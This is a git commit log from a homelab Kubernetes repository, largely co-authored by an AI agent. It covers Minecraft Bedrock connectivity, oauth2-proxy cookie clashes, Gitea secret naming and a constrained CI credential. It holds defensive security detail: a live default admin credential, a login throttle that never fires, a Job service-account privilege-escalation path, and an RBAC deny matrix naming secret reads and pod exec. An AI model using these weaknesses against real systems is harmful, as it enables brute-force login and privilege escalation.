Verified in-cluster that the existing credential is still usable, so the
service can be set up without touching the DB: users.last_update equals
users.created for `admin` (09/05/2026, 08:10:04), i.e. the password has never
been changed, and admin's last_login is 09/14 from 127.0.0.1 -- the API login
that created the "homelab" server. default-creds.txt is therefore live.

ALSO FIXED -- a real, separate defect found while proving the above, which
produces the reported symptom intermittently and would have been blamed on
Keycloak forever: this sidecar and the SHARED forward-auth oauth2-proxy both
emitted oauth2-proxy's DEFAULT cookie names (_oauth2_proxy,
_oauth2_proxy_csrf) scoped to .home.keithjackson.dev, while holding DIFFERENT
cookie-secrets (compared the two live Secrets: they differ, so neither can
decrypt the other's cookie). One cookie pair, two proxies: whichever
authenticated last clobbered the other's session; the loser logged "No valid
authentication in request", bounced to Keycloak, and -- SSO session still live
-- was redirected straight back, clobbering it again. Fixed on this side only
(renaming the shared proxy's cookie would sign out every other gated app):
a unique --cookie-name plus a host-scoped --cookie-domain, since a per-app
reverse proxy has no reason to broadcast its session zone-wide.
--whitelist-domain stays zone-wide: it governs redirect targets, not cookies.

Two traps measured rather than assumed, both now documented:
  - The 3-strikes cooldown CANNOT fire behind this sidecar. Crafty records
    attempts under get_remote_ip() (honours X-Forwarded-For -- the live
    tracker key is the chain "192.168.2.132, 10.0.0.123") but checks the
    cooldown under request.remote_ip, which is always 127.0.0.1 here. The
    halves key differently, so get_recent_attempts() always reads empty.
    Good (no lockout risk) and bad (that throttle is not a control we have).
  - Crafty's `set_passwd` console command is unreachable in k8s: it calls
    getpass.getpass() and needs a TTY; the container runs `main.py -d -i`.
    Recovery has to go through the DB, and argon2 is installed ONLY in
    /crafty/.venv/bin/python -- the system python3 lacks it.

Deliberately NOT done: an initContainer seeding default.json from a SOPS
Secret to make a rebuilt Crafty's password deterministic. Crafty does support
that hook (find_default_password reads app/config/default.json, min 8 chars),
but the image entrypoint pulls its default config ONLY when app/config is
EMPTY -- so writing a file there pre-boot suppresses the whole config
bootstrap. Buying reproducibility means co-owning image-internal bootstrap
logic that a 4.11 bump could silently change, to replace a one-command
retrieval. Recorded in DECISIONS-LOG as considered and rejected.

New runbook runbooks/crafty-admin-credential.md: tell the two auth layers
apart from the sidecar log, retrieve and rotate the bootstrap credential,
and reset a lost one via argon2 -- generating the password in-pod into a 0600
file rather than passing it in, because dev.sh does not forward stdin (a
`kubectl exec -i` through it hangs; verified). Registered in the configMapGenerator
so the URL actually resolves, not just the file exists.

Gate: toolbox ./ci/gate.sh -- lint/l0/render-golden/l1 green, spec-immutability
green. rc 3 overall: gitea-settings SKIPPED (no SETTINGS_API_TOKEN) and L2/L3
NOT RUN (CLUSTER_AVAILABLE unset). No runtime browser round-trip performed --
the sign-in fix is UNVERIFIED end-to-end and needs the human test in the README.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:48:18 -05:00
jakman85andClaude Opus 5 ae5c7385a5 docs(gitea): the README still named the ILLEGAL secret GITEA_SETTINGS_TOKEN
PR #15 renamed the Actions secret to SETTINGS_API_TOKEN because Gitea RESERVES the
GITEA_ prefix and rejects such a name with HTTP 400 "invalid secret name" -- the
defect that left the branch-protection detector inert and unnoticed. The README in
this very directory, which documents that story, went on naming the illegal name in
its behaviour table and in its closing "remaining step" line.

Both now say SETTINGS_API_TOKEN, plus a note recording what ci/gitea-settings.sh
ACTUALLY does, quoted from the file rather than assumed:

    TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"

GITEA_SETTINGS_TOKEN is still honoured, but ONLY as an environment variable for a
local run -- it can never be the CI wiring, because the secret that would feed it
cannot be created at all. The closing line also predated PR #15 storing the secret;
it now says so.

Documentation only. No behaviour change.

NOT fixed here, because it is outside this PR's diff: ci/gitea-settings.sh:45 still
instructs the reader to "create a Gitea repo secret GITEA_SETTINGS_TOKEN", which is
impossible. Same defect, different file -- worth its own one-line change.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:47:55 -05:00
jakman85andClaude Opus 5 19f9a8ae0c feat(sec): provision the narrow conformance CI trigger credential -- and refuse to arm a fake green
docs/plans/l2-l3-conformance-ci-wiring.md §3 item 6, as an operator script:
infra/gitea/conformance-trigger-kubeconfig.sh. UNEXECUTED here -- minting a
cluster credential and changing Gitea variables are operator actions.

It mints a token for conformance/conformance-trigger (TokenRequest), wraps ONLY
that token with the cluster CA and server into a kubeconfig, and stores it as the
Actions secret CONFORMANCE_TRIGGER_KUBECONFIG. Never cluster-admin, never a copy
of the operator's own kubeconfig. The token is never printed and never reaches
argv: it goes into a 0600 file and into the PUT body FILE (--data @file), and the
script refuses to run under `set -x` because xtrace would print it.

Two traps this repo already paid for are designed around:

  * GITEA_ is a RESERVED secret-name prefix (HTTP 400 "invalid secret name"), so
    the name is CONFORMANCE_TRIGGER_KUBECONFIG -- which is also what gate.yml and
    merge-gate.yaml already reference.
  * `curl -sS` exits 0 on an HTTP error. Every write checks %{http_code} AND reads
    the object back. The secret read-back proves presence by NAME only (Gitea
    never returns secret values) and the script says so rather than implying its
    content was checked; the variable read-back asserts the value is exactly
    "true", which is what gate.yml compares against.

PRECONDITIONS ARE SPLIT IN TWO, and the split is the security argument:

  mint-blocking (cluster) -- SA/Role/RoleBinding present, and ClusterPolicy
  conformance-trigger-job-shape present + Enforce + failurePolicy Fail + Ready.
  Any failure and NOTHING IS MINTED. Kubernetes places no `use` check on a Job's
  serviceAccountName, so a `create jobs` token in that namespace IS the privileged
  conformance-runner identity unless admission bounds its shape. RBAC cannot close
  that (plan §4); minting before the boundary is live hands CI the escalation the
  boundary exists to close.

  arm-blocking (repo) -- digest-pinned CONFORMANCE_RUNNER_IMAGE, an initContainer
  plus the admitted image in chainsaw-job.yaml, and CONFORMANCE_TRIGGER_KUBECONFIG
  referenced in ci/conformance.sh CODE rather than a comment. These block only
  vars.CLUSTER_AVAILABLE, because storing the secret early is harmless (the job is
  gated off) and is the plan's own order.

All three arm-blocking checks FAIL in the tree today, so a live run would store
the secret and then REFUSE to arm CLUSTER_AVAILABLE, naming each missing item.
That is the intended behaviour: measured 2026-09-29, CLUSTER_AVAILABLE=true with
no trigger path scaffold-skipped all 54 tests at rc 0 and the stage printed "L2/L3
conformance passed". ci/conformance.sh now blocks that case, so arming early does
not enable L2/L3 -- it only breaks every PR. Arming needs the explicit flag, every
precondition green, and a typed confirmation on a TTY.

Before storing anything, the credential is PROVEN narrow: auth whoami must be
system:serviceaccount:conformance:conformance-trigger, a real `get jobs` round-trip
must succeed, and an auth can-i matrix asserts both halves -- granted (create/get
jobs, get pods, get pods/log) and DENIED (delete jobs, create pods/exec, get
secrets, create jobs in default, get nodes, '*' '*' --all-namespaces). A mismatch
aborts before any store, and says explicitly not to widen
conformance/incluster/rbac.yaml to make it pass.

Verified only by `bash -n` (clean) and reading. The Gitea variables API shape
(POST creates, PUT updates, body field `value` not `data`) is from documentation,
not measurement: the script tries POST then PUT, prints the response body on
failure, and treats the read-back as the authority. Kyverno readiness is accepted
from either .status.ready or a Ready condition, and "neither present" blocks
rather than assuming ready.

Gate (pinned toolbox): MERGE GATE: UNDETERMINED (rc 3) -- spec-immutability and
gitea-settings unrun, the expected local result.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:47:55 -05:00
jakman85 c59fe9f923 Merge pull request 'chore(log): the handoff log was serialising every parallel branch' (#24) from chore/decisions-log-conflict-free into main
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Reviewed-on: #24
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:40:18 +00:00
jakman85andClaude Opus 5 72a46ad82d chore(log): the handoff log was serialising every parallel branch
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DECISIONS-LOG.md was append-only in ONE file and every agent appended to its
tail, so any two concurrent branches collided on the same last hunk. Measured
against the live Gitea today: four of the five open PRs were mergeable=false,
and `git merge-tree` named DECISIONS-LOG.md as the ONLY conflicting path in
all four.

    #22 fix/crafty-oauth2-proxy-signin       CONFLICT: DECISIONS-LOG.md
    #20 feat/conformance-job-template        CONFLICT: DECISIONS-LOG.md
    #19 feat/conformance-trigger-kubeconfig  CONFLICT: DECISIONS-LOG.md
    #18 feat/conformance-runner-image        CONFLICT: DECISIONS-LOG.md
    #17 feat/ci-is-the-approver              clean — it wrote no handoff

Nothing was wrong with any of those changes. The log's storage format
serialised work that was otherwise parallel, and the cost grew with every
concurrent branch (N branches -> N-1 rebases, each invalidating the gate run
before it). The agents work in isolated worktrees precisely so they do not
block each other; this one file undid that.

So: stop sharing a file. Handoffs are now one-per-file under decisions/,
named YYYY-MM-DD-<slug>.md. Disjoint paths have nothing to merge. There is
deliberately no index file (a shared mutable file is the thing that just
failed) and no counter (two agents would race for the same number) — the
directory listing is the index.

DECISIONS-LOG.md is frozen as the pre-2026-09-29 archive, its SHA-256 pinned
in decisions/ARCHIVE.sha256, and a new gate stage rejects any change to it.
That is a guard and not a paragraph because the old habit is written into the
runbooks and into every agent that has read the log, and getting it wrong does
not fail: it produces a clean-looking commit that re-creates the conflict on
OTHER branches, later, misattributed.

  ci/decisions-log.sh        new stage: archive pinned; every entry named with
                             a real date, carrying date/branch/title frontmatter
                             that agrees with its filename, and all three of
                             CLAUDE.md §7's sections with a real body under each.
                             Exit 0 or 1 only — no skip path by construction, so
                             no fail-open surface on a guard that closes one.
  ci/gate.sh                 runs it; fail and (impossible) skip both BLOCK.
                             No REQUIRE_DECISIONS_LOG knob: a guard with an off
                             switch is not a guard.
  ci/tests/decisions-log.test.sh   22 assertions, incl. the one that matters —
                             an append to the archive is rejected, and the
                             message names the file to write instead.
  ci/tests/gate-decision.test.sh   +3 assertions for the new wiring, AND a
                             pre-existing bug: the stub list never included
                             gitea-settings, so run_stage saw exit 127 and
                             recorded a FAILED stage in every case. 15 of 47
                             assertions failed on main for that reason alone —
                             the suite was measuring its own missing stub.
                             Now 50/50.
  CLAUDE.md                  §7 rewritten; §2b widened to the new path.
  ci/Makefile, ci/README.md, .gitea/workflows/README.md — stage named where
                             the other stages are named.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:35:55 -05:00
jakman85 cadf64a514 Merge pull request 'docs(ci): the wiring comment named a secret Gitea cannot accept' (#21) from fix/gitea-settings-comment-names-impossible-secret into main
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Reviewed-on: #21
Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:22:06 +00:00
jakman85 cfbc596b8b Merge pull request 'docs(crafty): Bedrock on 19132 RESOLVED — a player has joined; the wall was an empty allowlist' (#23) from fix/crafty-bedrock-19132 into main
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Reviewed-by: Keith Jackson <[email protected]>
2026-09-30 03:19:04 +00:00
jakman85andClaude Opus 5 c59a4b76bb docs(crafty): a player has joined -- the allowlist chain is closed, recommendation now PROVEN
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Operator added one gamertag and the Bedrock client connected and joined. The
three-pass investigation closes with a working server, no manifest change, no
transport change, no network change.

Moved out of UNVERIFIED:

* A successful join -- OPERATOR-REPORTED (I did not watch it; the distinction is
  kept deliberately). Corroborated directly on disk, which is stronger than the
  report alone: allowlist.json went [] -> one entry, 75 bytes, and that entry's
  xuid is POPULATED (mtime 22:03:17). audit.log shows the operator wrote only the
  name (Edited file .../allowlist.json, 22:02:13). Vendor doc: xuid "will be
  populated when someone with a matching name connects". So the server wrote the
  XUID on connect, ~64s after the edit -- server-authored evidence of an
  XBL-authenticated join.
* The reasoned mapping of "You are not invited" to the empty allowlist is
  CONFIRMED: one gamertag added, one successful join. allow-list=true with
  allowlist.json == [] was the wall, and nothing else was.
* transport=raknet survives a restart: the fix involved one (pid 47006 -> 47875);
  afterwards server.properties mtime is still 21:33:31 with transport=raknet, UDP
  4ABC bound, still NO TCP 4ABC, and a fresh pong from 192.168.2.22:19132 at
  22:06.
* The operator's actual route was file-edit + restart (route 2), not the console
  `allowlist add` I listed first. Both proven; console still preferred (no restart).

README: join-gate section marked RESOLVED; decision heading and option 1 promoted
from provisional to PROVEN; Bedrock human-test 4 rewritten as a 5-step verified
connect procedure, each step with its distinct failure signature, stating plainly
that the TRANSPORT TYPE ERROR banner and the "too few fields" warning BOTH appear
on a fully working server -- that pair misled two consecutive sessions.

NOT weakened, and sharpened where possible:

* auto_start=0 / crash_detection=0 STILL 0, re-measured at 22:06 after the join
  and after the operator's 22:02:28 "modified the server" action, which did not
  change them. The failure mode is now worse, not better: "worked, then vanished".
  Merging fix/crafty-oauth2-proxy-signin is such a restart.
* Silent-reset now precisely characterised: a RESTART preserves both files
  (observed) but leaves the server down (auto_start=0); a server RECREATE or
  reinstall silently resets server.properties to transport=nethernet AND
  allowlist.json to [].
* L2/L3 conformance still uncertified; multi-player SNAT still untested (exactly
  one player has joined -- that is precisely the evidence that does not settle it);
  BDS console output still never seen (log_path is '').

No manifest touched, in any of the three passes. Read-only throughout.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 22:08:54 -05:00
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New operator observation: a Bedrock client got "Unable to connect / You are not
invited to play on this server". That was put to me as evidence that NetherNet
signalling is working, that the refusal may have come from Microsoft rather than
our server, and that BDS players therefore never traverse crafty-l4-udp.
Measured read-only at 21:56, all three are wrong.

  allow-list=true            (server.properties line 37)
  allowlist.json == []       (3 bytes, mtime 20:51, never edited since create)
  online-mode=true
  transport=raknet           (line 71; file mtime STILL 21:33:31)
  UDP 19132 bound            (/proc/net/udp 00000000:4ABC, pid 47006)
  TCP 19132 ABSENT           (no 4ABC in /proc/net/tcp or tcp6)
  bedrock_server pid 47006, same process since 21:34, never restarted

1. transport is still raknet -- nobody reverted it, the binary did not rewrite it
   (mtime unchanged, audit.log records no later edit, same pid). NetherNet is NOT
   in use and cannot be what served this client.
2. NetherNet could not have served it in principle: it signals over TCP on
   server-port, and there is no TCP 19132 listener in the pod at all.
3. So the refusal came from OUR server, over RakNet, over 19132/udp, through the
   VIP. The 19132-19134/UDP exposure is the opposite of inert -- it carried both
   the earlier pong and this refusal.
4. Cause is certain and trivial: allow-list=true with an empty allowlist.json
   refuses every player. The shipped how_to says so, and it keys on Xbox Gamertag.

The requested log correlation cannot be done from disk: K3s-Bedrock's log_path in
crafty.sqlite is the empty string and Dedicated_Server.txt is 0 bytes -- Crafty
persists no BDS stdout at all, the console is panel-UI-only. commander.log
21:39-21:56 holds only homelab crash-detection and raknet_ping lines. That silence
is evidence about Crafty's logging, not about the refusal's origin.

Adds a README section on the join authorization model: the measured table, the
proof the refusal is ours, the "console is not on disk" caveat, gamertag/XUID
identity, and three operator routes (console `allowlist add`, edit-then-`allowlist
reload`, or allow-list=false -- discouraged, since the game port is deliberately
un-gated so the allowlist is the only join control). Notes allowlist.json is PVC
state that resets to [] on a server recreate. Options table and human test 4 now
check the allowlist before blaming the network.

Ranking unchanged at the top: keep transport=raknet, add gamertags. Still zero
manifest change. NetherNet would ADD work (TCP 19132 in crafty-l4-tcp and in
crafty-allow-ingress, plus server-udp-ports) and admit not one extra player.

Read-only throughout: allowlist.json, server.properties and the DB were read; no
console command issued, no kubectl mutation, no flux reconcile.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 21:59:15 -05:00
jakman85andClaude Opus 5 8697702d51 docs(decisions-log): record the gate result -- rc 3, and why CI's green is not rc 0
The handoff entry asserted conclusions but did not carry its own gate numbers.
Adds them, per CLAUDE.md section 7:

  lint / l0 / render-golden / l1 / spec-immutability : green
  gitea-settings  : SKIPPED (SETTINGS_API_TOKEN unset)
  conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
  => exit 3, UNDETERMINED. Not a PASS.

Also records two things future sessions will otherwise re-learn the hard way:

1. spec-immutability skipped SPURIOUSLY from the worktree -- dev.sh looks for the
   spec repo at $REPO_ROOT/../home-network-k3s, which from a worktree is the wrong
   directory; it exists beside the MAIN checkout. Mounting it RO through the ENGINE
   shim turned the one tolerated skip into a real green, so R-TEST-06 is genuinely
   verified. The CLAUDE.md section 3 shim should mount two paths, not one.

2. CI's green tick does NOT mean rc 0. gate/conformance is `if: false` and reports
   success with "Has been skipped"; gate/gate runs
   `./ci/gate.sh || [ "$?" -eq 3 ]`, so CI tolerates exit 3 by declared design and
   would report the same green for the rc 3 above.

Branch protection and the runner were measured against the API, not assumed:
protected=true, user_can_push=false, required_approvals=1, context
'gate / gate (pull_request)', runner incluster-dind online. PR #23 left unmerged.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 21:53:56 -05:00
jakman85andClaude Opus 5 d29a73cad8 docs(crafty): 19132/udp IS bound and answering -- the ERROR banner was advisory
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The prior entry's operator fix (transport=raknet) was labelled REASONED, NOT
OBSERVED. The operator applied it, BDS 1.26.52 printed
"================ TRANSPORT TYPE ERROR ===================
 NetherNet is the only supported transport type", and that was read as a refusal.

It was not a refusal. The process kept running and bound the RakNet sockets:
/proc/net/udp 00000000:4ABC and /proc/net/udp6 ...:4ABD, both owned by
bedrock_server pid 47006 (fd/25, fd/26). The earlier TCP bind on 4ABC is gone.
Crafty's raknet_ping warning changed kind at 21:34 -- last "Got timeout"
21:34:04,306, first "too few fields" 21:34:09,854 -- and per raknet_ping.py the
latter is reachable only after a 0x1C Unconnected Pong arrives with valid magic.

Proven end-to-end from off-cluster: a RakNet Unconnected Ping to the prod VIP
192.168.2.22:19132 returns a 139-byte 0x1c pong in ~12ms:
  MCPE;Dedicated Server;2193;1.26.52;0;10;...;Bedrock level;Survival;1;19132;19133;0;0;0;

The vendor's own shipped bedrock_server_how_to.html documents raknet as a
supported value ("the server listens directly on server-port"), and RakNet is
still compiled in (RakNetConnector, createUniqueRakPeer, RakNetSocket2.cpp).
"Only supported transport type" is a support statement, not a capability one.

Also explains why nethernet could never have worked here: it signals over TCP on
server-port, and this repo exposes no TCP 19132 -- crafty-l4-tcp is 25565-25567
and crafty-allow-ingress allows 19132 UDP only. packet-statistics.txt for that
run: Total Received: 0, 0B over 2293s.

Decision: keep transport=raknet, NO manifest change. The 19132-19134/UDP
exposure is correct and live, not inert. Geyser+Floodgate documented as the
reserve migration if RakNet is ever really removed (also zero manifest change).

Other corrections: the "too few fields" warning is the success signature, not a
failure; enable-lan-visibility upgraded to OBSERVED (19133 answers with the same
server_guid, so slot 1 is NOT free -- previous text said it was unreachable);
Game VIP corrected from 192.168.1.55 (the base/dev value) to the live prod
192.168.2.22; noted transport=raknet is PVC state that silently regresses to
nethernet on a server recreate. K3s-Bedrock auto_start=0/crash_detection=0
re-confirmed from crafty.sqlite and still outstanding.

Read-only throughout: no kubectl mutation, no flux reconcile, no write inside
the container. server.properties was read, never touched.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 21:46:57 -05:00
jakman85andClaude Opus 5 07f03536b3 docs(crafty): Bedrock 19132 refuses nothing -- BDS ships transport=nethernet
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Reported as "users cannot connect to Bedrock on UDP 19132". Measured read-only
on prod; the platform delivered the packets and the server never opened the
socket.

Server `K3s-Bedrock` (c5837301-..., type=minecraft-bedrock, server_port=19132)
exists and `./bedrock_server` is alive, but /proc/net/udp and /proc/net/udp6 in
the crafty container hold NO socket on 19132 (0x4ABC) in either family -- port
19132 is bound as TCP (/proc/net/tcp6 ...:4ABC state 0A). Cause, from the
server's own server.properties: transport=nethernet, the value Microsoft's BDS
archive ships. Its inline docs: `Allowed values: "raknet" or "nethernet"`, and
against server-portv6, `This property is ignored when transport=nethernet`. NetherNet is the
WebRTC/Xbox-signalled transport and opens no RakNet UDP listener. Crafty does
not manage the property (no `transport` anywhere under /crafty/app/classes/) and
its only Bedrock probe is raknet_ping.py, hence commander.log spamming
"Got timeout while issuing bedrock ping to 127.0.0.1:19132" -- over loopback,
which indicts the server, not the network.

The path below it is sound and was measured as such: crafty-l4-udp live as
externalTrafficPolicy: Cluster with the VIP in status.loadBalancer, a non-empty
EndpointSlice, `cilium-dbg service list` showing 192.168.2.22:19132/UDP =>
10.0.0.130:19132/UDP (active) on BOTH announcing nodes, the datapath policy map
carrying `Allow Ingress reserved:world 19132/UDP` with 26 packets / 27660 bytes
already counted through it, pihole answering crafty-mc -> 192.168.2.22, and Flux
at main@sha1:20ea70d == the GitRepository artifact.

So this is not a platform or manifest defect. No manifest is touched: adding
ports or widening policy for this would be manufacturing work. The repo-side
defect is documentation -- the README told the operator that creating a server
on 19132 was sufficient.

README: add "Bedrock on UDP 19132 -- the transport trap" (the measurement chain,
and the raknet_ping warning as its signature) and "Bedrock realities that are NOT
platform defects" (no LAN/Friends discovery behind a VIP, consoles cannot enter
an address, enable-lan-visibility collides with slots 1-2, server-portv6 is not
exposed). Correct three stale claims: "the operator has not created any servers
yet" (two exist), the human test implying a started Bedrock server is reachable,
and the single-server Runtime state section (now a two-row table recording
K3s-Bedrock's auto_start=0 / crash_detection=0 -- the create-API trap, live
again, so it will not survive a pod restart).

Also measured, reported, and deliberately NOT changed: the shared VIP's two
leases sit on different nodes (crafty-l4-tcp on k3s-prod-3, crafty-l4-udp on
k3s-prod-1), so two nodes ARP-announce 192.168.2.22. Benign under `Cluster` --
both nodes carry the full active frontend set -- and the existing L0 check
l2-announced-vips-serve-from-any-node already forbids the `Local` that would make
it fatal. A "shared VIPs must co-locate" check would assert runtime lease
placement a static check cannot see.

Read-only throughout: no apply/edit/patch, no flux reconcile, no write inside
the container. Operator actions (set transport=raknet and verify the UDP bind;
PATCH auto_start; tell players to Add Server by hand) are in the DECISIONS-LOG
entry, along with what is UNVERIFIED -- chiefly that `raknet` fixes it is
reasoned from the shipped docs, not observed.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 21:20:14 -05:00
jakman85andClaude Opus 5 e993d0f7d1 docs(ci): the wiring comment named a secret Gitea cannot accept
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ci/gitea-settings.sh told the reader to "create a Gitea repo secret
GITEA_SETTINGS_TOKEN". That instruction is IMPOSSIBLE to follow: Gitea reserves the
GITEA_ prefix for secret names and rejects the PUT with HTTP 400 "invalid secret name".

Same defect as the one fixed in PR #15 and in the README in PR #19 -- this was the third
file carrying it, found by an agent reading the file rather than trusting my description
of it. A comment that instructs an impossible action is not cosmetic: this exact wrong
name is why the drift detector sat inert while a token existed and no secret did.

Now names SETTINGS_API_TOKEN, and states explicitly that GITEA_SETTINGS_TOKEN remains
honoured ONLY as a local-run env var -- it can never be the CI wiring, because the secret
that would feed it cannot exist.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 19:30:35 -05:00
jakman85andClaude Opus 5 0c6949ed98 feat(ci): the pipeline is the approver; humans approve changes to the pipeline
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Implements the operator intent: "CI/CD pipeline is the end-all-be-all for approval. If
the CI pipeline is not good enough to be trusted for this, then it is not good enough to
do its intended job and needs to be improved. Manual approvers should only be for
architecturally or security relevant changes."

Adds ci/approval-policy.sh as a gate stage. A green gate becomes sufficient for an
ordinary change; the one exception is structural rather than a matter of taste:

  A CHANGE TO THE GATE CANNOT BE GATED BY THE GATE.

A PR that weakens a check would be approved by the weakened check. The same holds for the
admission policies, the Flux wiring that decides what reconciles, the SOPS recipients and
the RBAC. Those paths -- and only those -- still require an APPROVED review from someone
other than the author.

The list is data with a reason per entry (infra/gitea/approval-policy.json) and is itself
a sensitive path, so the policy cannot be widened or narrowed without a human.

FAIL-CLOSED, and deliberately the opposite of gitea-settings. There, a missing credential
must not block every PR -- that is a lock-out. Here, a missing credential would let an
unreviewed change to the gate merge, so "cannot evaluate" is a BLOCK.

Verified against real PRs rather than fixtures:
  PR #16 (sensitive paths, approved by jakman85, author gitea-admin) -> PASS
  PR #6  (.gitea/workflows/gate.yml, ZERO reviews)                   -> BLOCK, naming the file
  push event (not a PR)                                              -> N/A, exit 0
  bogus token                                                        -> BLOCK, not skip

Also caught before shipping: the first draft passed the PR file list with a second stdin
redirect after a heredoc, which silently wins and leaves the script body unread. Running
it found that; reading it would not have.

required_approvals is NOT changed here. Flipping it live must happen together with the
declaration in expected-branch-protection.json, or gitea-settings correctly fails on the
drift -- that is a separate, deliberate change.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 15:33:14 -05:00
jakman85 20ea70d221 Merge pull request 'fix(sec): the R-SEC-02 admission policy was never applied' (#16) from fix/kyverno-policy-was-never-applied into main
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2026-09-29 18:28:54 +00:00
jakman85andClaude Opus 5 8c7a770de2 fix(sec): the R-SEC-02 admission policy was never applied -- and nothing could tell
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PR #13 added conformance-trigger-job-shape.yaml to platform/kyverno/admission/
kustomization.yaml. That file applies NOTHING. Its own sibling says so: "kept as
reference; THIS file is the buildable render root" -- and that render root
(platform/kyverno/kustomization.yaml) ships only the namespace and the HelmRelease,
noting that ClusterPolicies are applied a tier later, by platform-config, because they
need the Kyverno CRDs first.

So three lists exist and only platform-config/kustomization.yaml applies anything. The
policy went into the wrong one and EVERYTHING WENT GREEN: the file parsed, kyverno test
exercised it by path and passed, the merge gate passed, and Flux reported `platform`
Ready at the new revision. Measured on prod afterwards:

    kubectl get clusterpolicy conformance-trigger-job-shape
    Error from server (NotFound)

while ns conformance, the conformance-trigger ServiceAccount, its Role and its
RoleBinding were all live. That is exactly the state that identity's own RBAC header
says must never exist -- the trigger identity present with nothing bounding it. Blast
radius was small only because no trigger kubeconfig exists yet, which is luck, not design.

Wires the policy into platform-config (verified: the render goes from 7 ClusterPolicies to
8 and contains conformance-trigger-job-shape).

CLOSES THE CLASS, which matters more than the instance. Adds the L0 check
admission-policies-actually-applied: every ClusterPolicy file under platform/kyverno/ is
either referenced by platform-config/kustomization.yaml or named in a CI_ONLY list with a
reason -- and CI_ONLY may not name a policy that IS applied, so the exemption cannot rot in
either direction. Declared scope whole-repo deliberately: a policy wired nowhere touches no
requirement the diff attributes, so a path-scoped run would have skipped it on the exact
commit that introduced the defect.

Proven both ways, not assumed:
  with the fix reverted -> FAIL, naming conformance-trigger-job-shape as never applied
  with the fix          -> PASS, 9 policy files, 8 applied, 1 CI-only with a reason

`kyverno test` proves a policy is CORRECT. This proves it is DEPLOYED. Nothing did before.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 13:23:09 -05:00
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2026-09-29 18:16:22 +00:00
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Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 18:14:30 +00:00
jakman85andClaude Opus 5 4b31f97486 docs(decisions-log): addendum — detector armed, and why an agent cannot merge here
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Records two findings from the unattended session.

The drift detector was INERT: set-ci-token.sh stored the secret under a name Gitea
reserves (GITEA_ prefix, HTTP 400 "invalid secret name"), sent the PUT to /dev/null,
and printed success anyway. A token existed; no secret did. Enabling
REQUIRE_GITEA_SETTINGS on top of that would have blocked every PR including its own
fix. PR #15 fixes it and its CI is green WITH require active, which is the only
proof that counts.

And: merging as gitea-admin returns HTTP 405 "Does not have enough approvals".
required_approvals:1 + block_admin_merge_override:true + an author who cannot
self-approve means "merge on green CI" is not executable by an agent. Recorded as
the control working rather than a fault, and deliberately not circumvented --
self-approval would hollow out the boundary just built. The choice of what to do
about it is the operator s, and whatever is chosen must also change the declaration
in expected-branch-protection.json or the detector will correctly fail on the drift.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 12:12:33 -05:00
jakman85andClaude Opus 5 50a48e6f07 fix(ci): the settings token could NEVER have been stored -- Gitea reserves the GITEA_ prefix
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The drift detector merged in #11 was inert and would have stayed inert silently.

WHAT HAPPENED. infra/gitea/set-ci-token.sh minted a token and PUT it to the repo Actions
secret GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for secret names -- exactly
as GitHub reserves `GITHUB_` -- and rejects that PUT with:

    HTTP 400  {"message":"invalid secret name"}

The script sent the PUT to /dev/null and printed "==> stored." unconditionally, and
`curl -sS` exits 0 on an HTTP error, so it reported success for a store that never happened.
Measured afterwards: the token existed in the user's token list, and the repo's secret list
was EMPTY. ci/gitea-settings.sh would have skipped on every CI run forever, and with
REQUIRE_GITEA_SETTINGS=true it would instead have BLOCKED EVERY PR -- including the one
fixing it.

Three changes:
  * the secret is SETTINGS_API_TOKEN; ci/gitea-settings.sh reads it, keeping
    GITEA_SETTINGS_TOKEN as a local-run fallback;
  * set-ci-token.sh checks the PUT's HTTP status AND reads the secret back, refusing to claim
    success otherwise. That missing verification is the actual defect -- the wrong name was
    just what it hid;
  * gate.yml maps the secret and ENABLES REQUIRE_GITEA_SETTINGS.

WHY ENABLING IT HERE IS SAFE: this PR's own CI run is the proof. If the stage were still
skipping, REQUIRE turns that into a failure and this PR goes RED rather than merging. Green
means the token resolved and live Gitea matched infra/gitea/expected-branch-protection.json.

Verified locally before pushing:
  REQUIRE=true, token present -> MERGE GATE: PASS
  REQUIRE=true, no token      -> gitea-settings SKIPPED -> BLOCKED (not a silent skip)

The secret is already stored and read back as present, so CI has what it needs.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 12:08:12 -05:00
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Written for a different session on a different computer. Lists the three open gated
PRs with their risk, the one command that must follow #11 (the drift detector skips
until its token exists, and a skipped detector detects nothing), and the three
credentials that are deliberately NOT in git and without which the toolbox and
cluster are unreachable: the age private key, prod.kubeconfig, and a Gitea
credential.

Records the measured platform state while telling the reader to re-measure it rather
than trust this log -- which is the whole point of CLAUDE.md section 2b, and which
this log earned by being confidently wrong for a month.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:28:33 -05:00
jakman85andClaude Opus 5 8eb5baffa4 feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
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Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).

THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.

